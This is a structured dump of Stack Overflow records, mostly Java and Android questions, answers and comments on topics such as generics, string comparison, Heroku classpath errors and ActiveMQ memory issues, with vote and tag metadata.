has body: In my applicatin I want to change the value of a variable dynamically , Based on string . Here is what I have tried public void onClick(View v) { switch (v.getId()) { case R.id.btCalculate: int column = Integer.parseInt((String) spColumn .getSelectedItem()); int inch = Integer.parseInt((String) spInch.getSelectedItem()); int colum_inch = column*inch ; int MULTIUPLIER ; if (page_number=="FirstPage(Color)Minimum12Maximum80ColumnInch-14500PerColumn/Inch") { MULTIUPLIER=20; } else if (page_number=="3rd Page Color: 9000") { MULTIUPLIER=9000; } else { MULTIUPLIER=10; } if (colum_inch&lt;4) { tvAmount.setText(page_number); } else { tvAmount.setText((MULTIUPLIER *colum_inch) + ""); } break; } } Here the variable page_number is a string which stores the text of clicked button . In my previous activity I have two button , one button text is "FirstPage(Color)Minimum12Maximum80ColumnInch-14500PerColumn/Inch" another "3rd Page Color: 9000" . But the problem is in my out the MULTIPLIER is always set to "10" . No matter which button I have clicked . How can I resolve this . How can I change the value of that variable (MULTIPLIER) based the text of clicked button .
linked to: http://stackoverflow.com/q/513832
upvote count: 0
duplicate of: http://stackoverflow.com/q/513832
favorite count: 0
has title: How to change the value of a variable based on the value of a string in java (android)
tagged with: android
type: AnsweredQuestion

http://stackoverflow.com/q/22276587
has title: Can I have a class field that is the Class<?> of a type that must extend another class and an interface?
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33840235
tagged with: java
has comment: http://stackoverflow.com/comment/33840197
answer count: 2
has answer: http://stackoverflow.com/a/22276653
downvote count: 0
has body: I'm sorry, I can't seem to form a better sentence to ask this question. I'll try to clarify: My class (currently an enum, but porting it to a class isn't an issue if it resolves this) has a Class field that denotes the type that it will dynamically instantiate at runtime. This type must extend the Fragment class (Android) and also implement MyInterface. &lt;F extends Fragment &amp; MyInterface&gt; How do I define this in code? What works currently is an incomplete solution, which accepts any Fragment regardless of whether it implements MyInterface: public enum Something { Value1 (OneFragmentInterfaceImplementor.class), Value2 (AnotherFragmentInterfaceImplementor.class); public final Class&lt;? extends Fragment&gt; fragment; private Something (final Class&lt;? extends Fragment&gt; fragmentClass) { fragment = fragmentClass; } } What I really want, though is that this class not only extends Fragment, but also implements MyInterface. I want the correct form of below: public &lt;F extends Fragment &amp; MyInterface&gt; enum Something { Value1 (OneFragmentInterfaceImplementor.class), Value2 (AnotherFragmentInterfaceImplementor.class); public final Class&lt;F&gt; fragment; private Something (final Class&lt;F&gt; fragmentClass) { fragment = fragmentClass; } } Am I asking for the impossible here? Update A great suggestion was to create an abstract Fragment that implements the interface. Unfortunately, this won't work in my specific use-case because some of these fragments extend other already implemented fragments.
has comment: http://stackoverflow.com/comment/33840575
favorite count: 0
has answer: http://stackoverflow.com/a/22276659
has comment: http://stackoverflow.com/comment/33840678
has comment: http://stackoverflow.com/comment/33840192
has comment: http://stackoverflow.com/comment/33840167
linked to: http://stackoverflow.com/q/11490485
tagged with: generics
possible better answer: http://stackoverflow.com/a/22276659
has comment: http://stackoverflow.com/comment/33840411
accepted answer: http://stackoverflow.com/a/22276653
score: 2
upvote count: 2
linked to: http://stackoverflow.com/q/745756

http://stackoverflow.com/comment/103645181
comment on: http://stackoverflow.com/a/31285976
score: 0
type: AnswerComment
has text: This is wrong, AFAIK. Reciprocal multiplication is only applicable if the compiler can guarantee that the division will be perfect (the number to be divided is an actual multiple of the divisor), which obviously isn't the case as `i` can be anything.
type: Comment

http://stackoverflow.com/a/22222213
has body: I notice two issues with the provided code. First the form submits to hello.html, but the @RequestMapping is mapped to /hello. To fix this adjust the @RequestMapping: @RequestMapping(value = "/hello.html") public class HelloWorldController Second when using @RequestMapping you must add the following line to your dispatcher-servlet.xml file to enable Spring MVC annotations such as @RequestMapping: &lt;mvc:annotation-driven/&gt;
type: Answer
answers question: http://stackoverflow.com/q/22222013
has comment: http://stackoverflow.com/comment/33740915
score: 0
has comment: http://stackoverflow.com/comment/33740849

junit
tags question: http://stackoverflow.com/q/22301806
type: Tag
tags question: http://stackoverflow.com/q/22312541
tags question: http://stackoverflow.com/q/22253330
tags question: http://stackoverflow.com/q/22255190
tags question: http://stackoverflow.com/q/22287071
tags question: http://stackoverflow.com/q/22230093
tags question: http://stackoverflow.com/q/22310323
tags question: http://stackoverflow.com/q/22230407
tags question: http://stackoverflow.com/q/22187467
tags question: http://stackoverflow.com/q/22227756
tags question: http://stackoverflow.com/q/22180773
tags question: http://stackoverflow.com/q/22182167
tags question: http://stackoverflow.com/q/22221541
tags question: http://stackoverflow.com/q/22294022
tags question: http://stackoverflow.com/q/22278902
tags question: http://stackoverflow.com/q/22224952
tags question: http://stackoverflow.com/q/22184566
tag name: junit
tags question: http://stackoverflow.com/q/22183178
tags question: http://stackoverflow.com/q/22176251
tags question: http://stackoverflow.com/q/22245261
tags question: http://stackoverflow.com/q/22258623
tags question: http://stackoverflow.com/q/22314453
tags question: http://stackoverflow.com/q/22178631
tags question: http://stackoverflow.com/q/22296470
tags question: http://stackoverflow.com/q/22193243
tags question: http://stackoverflow.com/q/22203999
tags question: http://stackoverflow.com/q/22320334
tags question: http://stackoverflow.com/q/22203214
tags question: http://stackoverflow.com/q/22175186
tags question: http://stackoverflow.com/q/22190601
tags question: http://stackoverflow.com/q/22230271
tags question: http://stackoverflow.com/q/22314505
tags question: http://stackoverflow.com/q/22198780
tags question: http://stackoverflow.com/q/22226651
tags question: http://stackoverflow.com/q/22182618
tags question: http://stackoverflow.com/q/22264783

http://stackoverflow.com/comment/33818556
type: AnswerComment
comment on: http://stackoverflow.com/a/22264286
score: 0
type: Comment
has text: How can you traverse your path backwards?

http://stackoverflow.com/comment/33907446
comment on: http://stackoverflow.com/q/22313288
score: 0
has text: @Warlord- I can't figure out the way to sort at the end of CookieAnalyzerCheck class.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22272946
has answer: http://stackoverflow.com/a/42462821
has answer: http://stackoverflow.com/a/22273005
score: 2
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33833264
has comment: http://stackoverflow.com/comment/33833381
possible better answer: http://stackoverflow.com/a/22272984
type: Question
upvote count: 2
tagged with: arrays
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33833277
answer count: 5
has body: I am learning about these things and I am used to using regular iterator for loops. Anyway, I was wondering if I could print this simple array: public class enchancedtwodimdemo { public static void main (String[] args) { String[][] chords = {{"A", "C", "D", "E"},{"Am","Dm"}}; } }
has answer: http://stackoverflow.com/a/22272984
has answer: http://stackoverflow.com/a/77696384
linked to: http://stackoverflow.com/q/13383692
has title: Can I use an enhanced for loop to print two dimensional arrays?
has answer: http://stackoverflow.com/a/22272965
accepted answer: http://stackoverflow.com/a/22272965

http://stackoverflow.com/q/22291562
has title: Heroku App Crashing with NoClassDefFoundError: org/eclipse/jetty/server/Handler
type: AnsweredQuestion
tagged with: heroku
downvote count: 0
score: 1
tagged with: java
type: Question
has body: I am trying to run an app on Heroku. I am doing CI on Travis and deploying from it. My code is at https://github.com/santoshkt/cdetsd123 When I went through the logs in heroku, I see following 2014-03-10T03:14:08.180220+00:00 heroku[web.1]: Starting process with command `j ava $JAVA_OPTS -cp target/classes:target/dependency/* mytest.Main` 2014-03-10T03:14:10.692378+00:00 app[web.1]: Picked up JAVA_TOOL_OPTIONS: -Djav a.rmi.server.useCodebaseOnly=true -Djava.rmi.server.useCodebaseOnly=true 2014-03-10T03:14:11.217814+00:00 app[web.1]: Exception in thread "main" java.lan g.NoClassDefFoundError: org/eclipse/jetty/server/Handler 2014-03-10T03:14:11.286992+00:00 app[web.1]: Caused by: java.lang.ClassNotFoundE xception: org.eclipse.jetty.server.Handler 2014-03-10T03:14:11.287150+00:00 app[web.1]: at java.net.URLClassLoader$1.run (URLClassLoader.java:217) 2014-03-10T03:14:11.287380+00:00 app[web.1]: at java.net.URLClassLoader.findC lass(URLClassLoader.java:205) 2014-03-10T03:14:11.287271+00:00 app[web.1]: at java.security.AccessControlle r.doPrivileged(Native Method) 2014-03-10T03:14:11.287380+00:00 app[web.1]: at java.lang.ClassLoader.loadCla ss(ClassLoader.java:321) 2014-03-10T03:14:11.287380+00:00 app[web.1]: at sun.misc.Launcher$AppClassLoa der.loadClass(Launcher.java:294) 2014-03-10T03:14:11.287645+00:00 app[web.1]: at java.lang.ClassLoader.loadCla ss(ClassLoader.java:266) 2014-03-10T03:14:11.296871+00:00 app[web.1]: Could not find the main class: myte st.Main. Program will exit. To run this software locally, I use mvn jetty:run command and everything works fine. BTW I'm using maven + jetty in this application. I'm trying to debug this for last 6 hours with no clues. Any help is appreciated.
tagged with: travis-ci
upvote count: 1
answer count: 1
tagged with: github
favorite count: 0
tagged with: web-applications
has answer: http://stackoverflow.com/a/22310307
accepted answer: http://stackoverflow.com/a/22310307

http://stackoverflow.com/comment/33775275
has text: I would have made this a comment if I had enough rep :) A long shot but it might have been the answer!
score: 1
comment on: http://stackoverflow.com/a/22240641
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22184721
type: UnansweredQuestion
has body: We are using Jboss FuseESB Active MQ on IBM AIX machine. We are sending upto 10000 requests per day to consumer. Each request has about 10Kb size. We are getting heap dump in every 3 days. Here is image of IBM Heap Analyzer. Right before heap is generated, there are upto I think JMS messages are getting processed slowly by consumer. What are strategies to increase the processing speed of JMS consumer. Edit: Here is image of Heap Analyzer: Edit: We are using embedded broker. Here is activemq.xml that we are using: " producerFlowControl="true"> <pendingMessageLimitStrategy> <constantPendingMessageLimitStrategy limit="1000"/> </pendingMessageLimitStrategy> " producerFlowControl="true" queuePrefetch="1"> <individualDeadLetterStrategy queuePrefix="DLQ."/> <kahaDB directory="${data}/kahadb"/> <!-- <jaasAuthenticationPlugin configuration="karaf" /> --> <transportConnector name="openwire" uri="tcp://0.0.0.0:0?maximumConnections=1000"/>
has comment: http://stackoverflow.com/comment/33760808
tagged with: activemq-classic
tagged with: jbossfuse
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33719726
tagged with: heap-dump
has answer: http://stackoverflow.com/a/22271242
downvote count: 1
type: Question
has title: ActiveMQ producer generating heapdump
tagged with: fuseesb
has comment: http://stackoverflow.com/comment/34937733
answer count: 1
favorite count: 0
upvote count: 2

http://stackoverflow.com/q/22273871
favorite count: 0
has answer: http://stackoverflow.com/a/22274277
accepted answer: http://stackoverflow.com/a/22274277
has comment: http://stackoverflow.com/comment/33835265
type: AnsweredQuestion
score: 2
downvote count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33835225
has title: Converting bytes to string with signed bytes
type: Question
has comment: http://stackoverflow.com/comment/33835533
has comment: http://stackoverflow.com/comment/33835137
has answer: http://stackoverflow.com/a/22274251
upvote count: 2
has body: Is there a way to retain a signed byte when converting it to a string? Or alternatively make them be seen as unsigned when converting to a string? Here is my code for example: byte[] encodedBytes = new byte[RX_Index]; System.arraycopy(RX_Buffer, 0, encodedBytes, 0, encodedBytes.length); final String data = new String(encodedBytes); RX_Buffer will contain 0xBF which is -65 signed decimal. After intializing data that 0xBF byte is changed to 0xFFFD after converting to a string for some reason. I'm assuming the problem is the conversion from bytes to string with a negative number. If that can't be the case let me know. Otherwise how do I fix this problem?
has comment: http://stackoverflow.com/comment/33835421
answer count: 2
has comment: http://stackoverflow.com/comment/33835675
possible better answer: http://stackoverflow.com/a/22274251
has comment: http://stackoverflow.com/comment/33835581

http://stackoverflow.com/comment/33910749
type: Comment
type: QuestionComment
has text: This "restarted once an hour" business is extremely unusual. Perhaps this atypical android device also does a cleanup of application private storage on a regular automatic basis as well. Try you app on a normal device or emulator and you will likely find it works fine.
score: 0
comment on: http://stackoverflow.com/q/22315239

http://stackoverflow.com/a/22214940
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33842352
downvote count: 0
has comment: http://stackoverflow.com/comment/33868018
answers question: http://stackoverflow.com/q/22213536
has comment: http://stackoverflow.com/comment/33894131
type: Answer
has body: Did you include the dependency for Xstream in your maven file? If you are using maven please add the following to your project file: org.apache.camel camel-xstream x.x.x The error clearly states you are missing a component

http://stackoverflow.com/q/22245455
score: 0
tagged with: java
tagged with: eclipse
has answer: http://stackoverflow.com/a/22245616
type: AnsweredQuestion
has title: Is there any easy way to generate Interfaces for Existing classes?
has answer: http://stackoverflow.com/a/22245614
has body: I have many classes. Now i want all those classes to implement their own Interface. I can manually create interfaces by copying all method signatures to Interface. Is there a automatic way to create them in Eclipse?
possible better answer: http://stackoverflow.com/a/22245616
type: Question
accepted answer: http://stackoverflow.com/a/22245614
answer count: 2

http://stackoverflow.com/a/22401899
type: Answer
has body: Use case diagram for the definition of the scope. State machine/chart for defining the logic of use package diagram for start the planning the placement of classes and sources Class diagrams for classes supporting the logic Sequence diagrams for algorithms used Composite structure diagrams for planning the complex classes. If some diagram is absolutely obvious, you needn't do it. But! AFTER the coding you don't need diagrams already, rather good javadocs. If it is not your code and you want to understand it, diagrams can help. Start from drawing the more simple ones, and continue to these you understand the worst. For the case when it IS your code and you want to change it, draw diagrams on the conceptions that you want to refactor.
downvote count: 0
has comment: http://stackoverflow.com/comment/34067517
score: 1
has comment: http://stackoverflow.com/comment/34068132
upvote count: 1
has comment: http://stackoverflow.com/comment/34067104
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22273017
has comment: http://stackoverflow.com/comment/34062973
accepted answer of: http://stackoverflow.com/q/22273017

http://stackoverflow.com/q/22327429
has answer: http://stackoverflow.com/a/22327579
has comment: http://stackoverflow.com/comment/33930943
favorite count: 0
has answer: http://stackoverflow.com/a/22327575
accepted answer: http://stackoverflow.com/a/22327575
has body: Im trying to populate a map that has been declared as an instance variable but nothing happens when i execute the code. Here is my class (very basic/early) public class RacingDrivers { private Map&lt;String, String&gt; racingNumbers; /** * Constructor for objects of class RacingDrivers */ public RacingDrivers() { racingNumbers = new HashMap&lt;String, String&gt;(); } /** * A method to populate the racingNumbers map. * * */ public void populateMap() { racingNumbers.put("44", "Lewis Hamilton"); etc etc } Then i execute this code: RacingClub RC = new RacingClub(); RC.populateMap(); RC is created but the map is not populated?
possible better answer: http://stackoverflow.com/a/22327579
tagged with: maps
has title: Populating a map that has been instanced
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33930621
tagged with: java
has comment: http://stackoverflow.com/comment/33931230
type: Question
has comment: http://stackoverflow.com/comment/33930736
tagged with: bluej
answer count: 2
has comment: http://stackoverflow.com/comment/33931056
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/33930697
has comment: http://stackoverflow.com/comment/33931065
downvote count: 1
has comment: http://stackoverflow.com/comment/33930747
has comment: http://stackoverflow.com/comment/33930658

http://stackoverflow.com/comment/33797016
type: AnswerComment
score: 0
type: Comment
has text: @[Louis Wasserman](http://stackoverflow.com/users/869736/louis-wasserman) In the first comment of my answer or I understood it that way.
comment on: http://stackoverflow.com/a/22252072

http://stackoverflow.com/q/22268082
type: Question
has comment: http://stackoverflow.com/comment/33824686
has answer: http://stackoverflow.com/a/22268169
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33824601
has title: Correct syntax for disabling a radio button after it was chosen
favorite count: 0
has comment: http://stackoverflow.com/comment/33824619
accepted answer: http://stackoverflow.com/a/22268169
upvote count: 2
tagged with: jradiobutton
has comment: http://stackoverflow.com/comment/33824733
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33824630
tagged with: java
tagged with: swing
has body: is it possible to disable a radio button? after a user chooses one of the radio buttons , i don't want them changing answers so i want to disable the radio button, i've used radioButton.setEnable(false) but still it's able to choose other radio buttons. What is the correct syntax in disabling a radio button after it was chosen?

http://stackoverflow.com/comment/92094885
comment on: http://stackoverflow.com/q/22238458
has text: Here is another way. `Random random = new Random(); String generatePin = String.format("%04d", random.nextInt(10000000) % 10000); System.out.println(generatePin);`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22204778
answer count: 2
tagged with: casting
tagged with: sqlite
downvote count: 0
has comment: http://stackoverflow.com/comment/33710086
has body: Here's what I'm trying to do. I have a field that encompasses multiple days per week. (E.g. it can store MONDAY or MONDAY | TUESDAY, or WEDNESDAY | FRIDAY) - basically any combination. To do this I used an enum with powers of 2, like this: public enum DayOfWeek { Monday(1), Tuesday(2), Wednesday(4), Thursday(8), Friday(16), Saturday(32), Sunday(64); private final int index; DayOfWeek(int index) { this.index = index; } public int value() { return index; } } Then I store an integer in the database like this: DayOfWeek days = DayOfWeek.Monday | DayOfWeek.Thursday; // Monday and Thursday int daysAsInt = (DayOfWeek)days; // Value to save I can test the days as such if ((days &amp; DayOfWeek.Monday) == DayOfWeek.Monday) /* If days contains Monday */ My problem is I'm not sure how to get that integer value converted back to the DayOfWeek. I thought I could cast it (DayOfWeek)daysAsInt. But it doesn't work. Any suggestions would be very appreciated.
has comment: http://stackoverflow.com/comment/33710074
favorite count: 0
possible better answer: http://stackoverflow.com/a/22204910
has title: Storing DaysOfWeek as single integer in sqlite database using enum/bitwise - Java
score: 2
has comment: http://stackoverflow.com/comment/33710056
tagged with: bit-manipulation
accepted answer: http://stackoverflow.com/a/22204913
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22204910
tagged with: enums
tagged with: java
has answer: http://stackoverflow.com/a/22204913
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/33710048

http://stackoverflow.com/q/22184406
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22300683
downvote count: 0
has answer: http://stackoverflow.com/a/22184775
tagged with: java
has body: I need to detect when the user swipes in and out from one of my fragments, I tried onPause but it seems the app isn't paused when swiping to the adjacent screen (it's destroyed when moving two sereens away from it). If possible I want to do it from the fragment itself since I'm changing fragments dynamically and I some code will only be useful if a certain fragment is present. Is it possible to do this? How can I detect the swipe "out" (if possible from the fragment itself)? EDIT: I tried using setUserVisibleHint on a Fragment which seems like the best way to do this, however it never gets called. I'm using API level 19, I'm not sure what's missing: import android.app.Fragment; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Toast; public class Contacts extends Fragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.fragment_screen_contacts, container, false); return view; } @Override public void setUserVisibleHint(boolean isVisibleToUser) { super.setUserVisibleHint(isVisibleToUser); Log.d("MyFragment", "This never shows up."); Toast.makeText(getActivity(), "Neither does this", Toast.LENGTH_LONG).show(); } }
has title: Run code when user "swipes out" of viewpager fragment?
has answer: http://stackoverflow.com/a/22185051
type: Question
score: 3
possible better answer: http://stackoverflow.com/a/22185051
upvote count: 3
answer count: 3
favorite count: 0
accepted answer: http://stackoverflow.com/a/22184775
tagged with: android
linked to: http://stackoverflow.com/q/10024739
tagged with: fragment

http://stackoverflow.com/q/22229250
tagged with: jsonschema
tagged with: java
tagged with: http://stackoverflow.com/tag/json
possible better answer: http://stackoverflow.com/a/41734624
has title: How to create JSON Schema for Name/Value structure?
has answer: http://stackoverflow.com/a/41734624
has comment: http://stackoverflow.com/comment/33753577
has comment: http://stackoverflow.com/comment/33754041
upvote count: 33
has comment: http://stackoverflow.com/comment/33754265
downvote count: 0
has answer: http://stackoverflow.com/a/22232419
tagged with: javascript
type: Question
accepted answer: http://stackoverflow.com/a/22232419
type: AnsweredQuestion
has body: My problem is that i am serializing the content of map to JSON. In the output (JSON), i have object that follow key/name syntax rule. The key is created from map key, and the name from the value. Model Example: class Storage { Map&lt;String,String&gt; values = new HashMap&lt;&gt;(); { map.put("key1","key1"); map.put("key2","key2"); map.put("key3","key3"); } } JSON Example object: { key1=value1, key2=value2, key3=value3 } JSON Schema: { "name": "storage", "description": "Store of key values", "properties": { // How can we describe the properties if we do not know the name ? } } The issue is that i do not know what the values will be but i know that they will be some. Can you help me to provide me the full definition of schema? Disclaimer: I know that this can be also serialized as { values: [ {key="key1", value="value1"}, {key="key2", value="value2"}, {key="key3", value="value3"} ] } but is do not want to have array in the JSON.
has comment: http://stackoverflow.com/comment/33753472
favorite count: 0
score: 33
answer count: 2

http://stackoverflow.com/comment/33683925
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22171570
score: 1
has text: The link above is perfect. In short, explicit exports of these packages should not be necessary, and even explicit imports can be avoided with boot delegation. However, as you already have explicit imports, you are doing it right and something else is going on. Why are all your package imports optional? This is a great way to avoid the benefits of OSGi and defer all your class loading problems to runtime, old-Java style, rather than failing fast and explicitly on bundle startup.

http://stackoverflow.com/a/22206510
downvote count: 0
has comment: http://stackoverflow.com/comment/33713341
accepted answer of: http://stackoverflow.com/q/22206478
answers question: http://stackoverflow.com/q/22206478
upvote count: 3
has comment: http://stackoverflow.com/comment/33713266
type: AcceptedAnswer
has body: Not without reflection, no... and I really wouldn't recommend using reflection here. (You would be very implementation-specific.) Usually you shouldn't care about which implementation of Reader is being used at all, so you wouldn't even know it was an InputStreamReader... let alone try to get access to the underlying InputStream.
type: Answer
score: 3

http://stackoverflow.com/comment/33649878
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22171185
has text: @KorayTugay Then create a new TreeMap with a custom Comparator and add all the current element in it.
score: 0

http://stackoverflow.com/q/22284233
has comment: http://stackoverflow.com/comment/33854229
has comment: http://stackoverflow.com/comment/33853849
has comment: http://stackoverflow.com/comment/33854531
has comment: http://stackoverflow.com/comment/33853909
tagged with: recursion
type: AnsweredQuestion
score: 3
tagged with: java
has title: Detect Infinite Loop?
has comment: http://stackoverflow.com/comment/33854493
tagged with: loops
has comment: http://stackoverflow.com/comment/33853865
has comment: http://stackoverflow.com/comment/33853748
type: Question
has body: I'm working on a Sudoku solver program. The idea is that the user inputs the Sudoku puzzle and the program solves it for them. The program works fine when entering any normal puzzle. However, there are some puzzles that are impossible to solve. Here is one example that I entered: https://i.sstatic.net/BnWc9.png The input is perfectly legal, but top right square cannot be filled in since all numbers 1-9 have been used in that row and column. If I hit "Solve", my program freezes as it enters an infinite loop. So my question here is, how can I prevent this from happening? I tried implementing the "boolean flag" approach, but on second thought I realized that it's probably not feasible. Here is my solver method: public boolean solve(int i, int j) { for (int a = 0; a &lt; 9; a++) { for (int b = 0; b &lt; 9; b++) { if (sudokuArray[a][b] == 0) { for (int k = 1; k &lt;= 9; k++) { sudokuArray[a][b] = k; if (checkNumber(a, b, k) &amp;&amp; solve(a, b)) { return true; }else { sudokuArray[a][b] = 0; } } return false; } } } return true; } The checkNumber() method checks if number k can be legally inserted in row a, column b and returns true/false accordingly. Ideas? Tips? Thanks. PS: Added checkNumber() as requested: public boolean checkNumber(int i, int j, int num) { for (int a = 0; a &lt; 9; a++) { if (a != i) { if (sudokuArray[a][j] == num) { return false; } } if (a != j) { if (sudokuArray[i][a] == num) { return false; } } } for (int a = (i / 3) * 3; a &lt; (i / 3) * 3 + 3; a++) { for (int b = (j / 3) * 3; b &lt; (j / 3) * 3 + 3; b++) { if ((a != i) &amp;&amp; (b != j)) { if (sudokuArray[a][b] == num) { return false; } } } } return true; }
has comment: http://stackoverflow.com/comment/33853695
has comment: http://stackoverflow.com/comment/33855557
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33853769
has answer: http://stackoverflow.com/a/28823509
has comment: http://stackoverflow.com/comment/33854049
accepted answer: http://stackoverflow.com/a/28823509
favorite count: 0
has comment: http://stackoverflow.com/comment/33853784
has comment: http://stackoverflow.com/comment/33853729
has comment: http://stackoverflow.com/comment/33854325
has comment: http://stackoverflow.com/comment/33853897
upvote count: 3
tagged with: infinite

http://stackoverflow.com/comment/33861030
score: 0
type: Comment
has text: I'm using the code to convert the ET time into the local time. ET - EST during winter (till yesterday) so it worked then. I still haven't found out how Java calls ET. That line of code is the all important line. Eg. If my source was in GMT and I replaced "EST" in there with "GMT", then it will work.. I only have to know how Java calls ET.
type: AnswerComment
comment on: http://stackoverflow.com/a/22287931

http://stackoverflow.com/comment/33930692
type: Comment
comment on: http://stackoverflow.com/q/22327421
score: 0
has text: Have you added something to `al`?
type: QuestionComment

http://stackoverflow.com/a/22270607
has comment: http://stackoverflow.com/comment/33832531
type: Answer
has body: If number of LEVEL is not much higher number, then you could conditionally write it with if else as shown below: $F{level}.equals("1")?"_": $F{level}.equals("2")?"__": $F{level}.equals("3")?"___":____ &lt;---- last one is 4 It goes on... It won't be a good solution but you can't have another option in jasper for such operation. :)
answers question: http://stackoverflow.com/q/22251785
score: 0
has comment: http://stackoverflow.com/comment/33833122

http://stackoverflow.com/a/22203907
has comment: http://stackoverflow.com/comment/33709151
upvote count: 12
answers question: http://stackoverflow.com/q/22203854
downvote count: 0
has body: At run time, every ArrayList&lt;Whatever&gt; will be converted to ArrayList (raw) due to type erasure. So, just have one method that receives List&lt;? extends Number&gt;. //renamed to show what the method really does public static void removeFirst(List&lt;? extends Number&gt; a) { System.out.println(a.remove(0)); } Note that the method above will work only for Lists (ArrayList, LinkedList and other implementations of List) which declares to hold a class that extends from Number. If you want/need a method to remove the first element from List that holds any type, use List&lt;?&gt; instead: public static void removeFirst(List&lt;?&gt; a) { System.out.println(a.remove(0)); } Remember to always program to interfaces instead of specific class implementation.
has comment: http://stackoverflow.com/comment/33708328
score: 12
has comment: http://stackoverflow.com/comment/33708470
type: Answer

http://stackoverflow.com/comment/33836470
type: QuestionComment
score: 0
has text: The big question is. How do you intend to use the the stored value? Depending on your business needs it can range from a simple numeric type all the way to UTC Time + Time Zone name(as CHAR / VARCHAR Colum) + Real Offset.
comment on: http://stackoverflow.com/q/22274572
type: Comment

http://stackoverflow.com/q/22317688
favorite count: 0
tagged with: netbeans-platform
accepted answer: http://stackoverflow.com/a/22317737
has body: I use the following code to create db connection public final static String driver = "org.apache.derby.jdbc.ClientDriver"; public final static String connectionURL = "jdbc:derby:projectDB;create=true;user=user1;password=psssword"; public CreateConnectionDOA(String driver, String connectionURL) throws ClassNotFoundException,SQLException { Class.forName(driver); conn = DriverManager.getConnection(connectionURL); conn.setAutoCommit(false); } The project was created in Netbeans-Platform-Application-Module. When i run the project through netbeans platform 7.4.. it works properly. But when i try to create a installer using netbeans and run.. the project opens but it also gives an exception "ERROR 42Y07: Schema 'projectDB' does not exist
tagged with: netbeans-7.4
type: AnsweredQuestion
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/64910947
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/64910947
tagged with: derby
answer count: 2
has title: Schema "DB" Doesn't exist
downvote count: 0
has answer: http://stackoverflow.com/a/22317737

authentication
tags question: http://stackoverflow.com/q/22176693
tags question: http://stackoverflow.com/q/22192950
tag name: authentication
type: Tag
tags question: http://stackoverflow.com/q/22254678
tags question: http://stackoverflow.com/q/22259655
tags question: http://stackoverflow.com/q/22246138
tags question: http://stackoverflow.com/q/22173869
tags question: http://stackoverflow.com/q/22185137
tags question: http://stackoverflow.com/q/22301624

http://stackoverflow.com/a/22243789
has body: I'm not sure about Tibco details, but maybe it would work with listBindings instead of list? I have done the same thing in a generic way like this: List&lt;Queue&gt; out = new ArrayList&lt;&gt;(); scanJndiForQueues(out, ""); ... private void scanJndiForQueues(List&lt;Queue&gt; out, String path) throws NamingException { InitialContext context = new InitialContext(); Object resource = context.lookup(path); if (isSubContext(resource)) { NamingEnumeration&lt;Binding&gt; list = context.listBindings(path); while (list.hasMoreElements()) { Binding binding = list.nextElement(); scanJndiForQueues(out, path + "/" + binding.getName()); } } else if (resource instanceof Queue) { out.add((Queue) resource); } // else ignore Topics } private boolean isSubContext(Object object) { return javax.naming.Context.class.isAssignableFrom(object.getClass()); }
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33917826
answers question: http://stackoverflow.com/q/22230433
has comment: http://stackoverflow.com/comment/33815533

http://stackoverflow.com/comment/33696443
score: 1
has text: duplicated so many times
comment on: http://stackoverflow.com/q/22197605
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22246737
has comment: http://stackoverflow.com/comment/33787333
has body: I am working on a libgdx game and I'd like to use the preferences for storing player's advances and preferences. So far so good. In android there are nice events for updating the preferences and storing them into the file system. I was wondering if something similar does exist on the desktop side. Namely, is there any way of adding a listener for whe user is closing the window? That way I'll be able to flush data before application closes. Or there are any other method?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33787216
downvote count: 0
favorite count: 0
type: Question
score: 3
tagged with: events
has comment: http://stackoverflow.com/comment/33786022
upvote count: 3
answer count: 1
has answer: http://stackoverflow.com/a/22247899
tagged with: libgdx
tagged with: java
has comment: http://stackoverflow.com/comment/33786709
accepted answer: http://stackoverflow.com/a/22247899
has title: On libgdx catching onClose window event

http://stackoverflow.com/comment/33881482
type: QuestionComment
has text: http://stackoverflow.com/questions/13895867/java-io-notserializableexception
comment on: http://stackoverflow.com/q/22299528
score: 0
type: Comment

http://stackoverflow.com/comment/48375473
score: 0
comment on: http://stackoverflow.com/q/22186750
type: Comment
type: QuestionComment
has text: Were you able to get this working?

http://stackoverflow.com/q/22172115
tagged with: tomcat7
possible better answer: http://stackoverflow.com/a/22172766
has comment: http://stackoverflow.com/comment/33651045
upvote count: 6
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22189858
linked to: http://stackoverflow.com/q/6698646
type: Question
answer count: 2
downvote count: 0
tagged with: tomcat
linked to: http://stackoverflow.com/q/9244154
has body: I have multiple war files to deploy, for example. coll.war, egg.war, etc., each one will specify an application module. In our application I have some specification that coll.war should deploy first and rest has to deploy in specific sequence such like. coll.war egg.war chick.war Can somebody help me out to do it.
has comment: http://stackoverflow.com/comment/33752504
accepted answer: http://stackoverflow.com/a/22189858
has title: Is there a way to enforce a deployment order in tom 7 and tom6 ?
has answer: http://stackoverflow.com/a/22172766
favorite count: 0
score: 6
has comment: http://stackoverflow.com/comment/33651815

http://stackoverflow.com/q/22273484
type: AnsweredQuestion
tagged with: java
tagged with: http://stackoverflow.com/tag/json
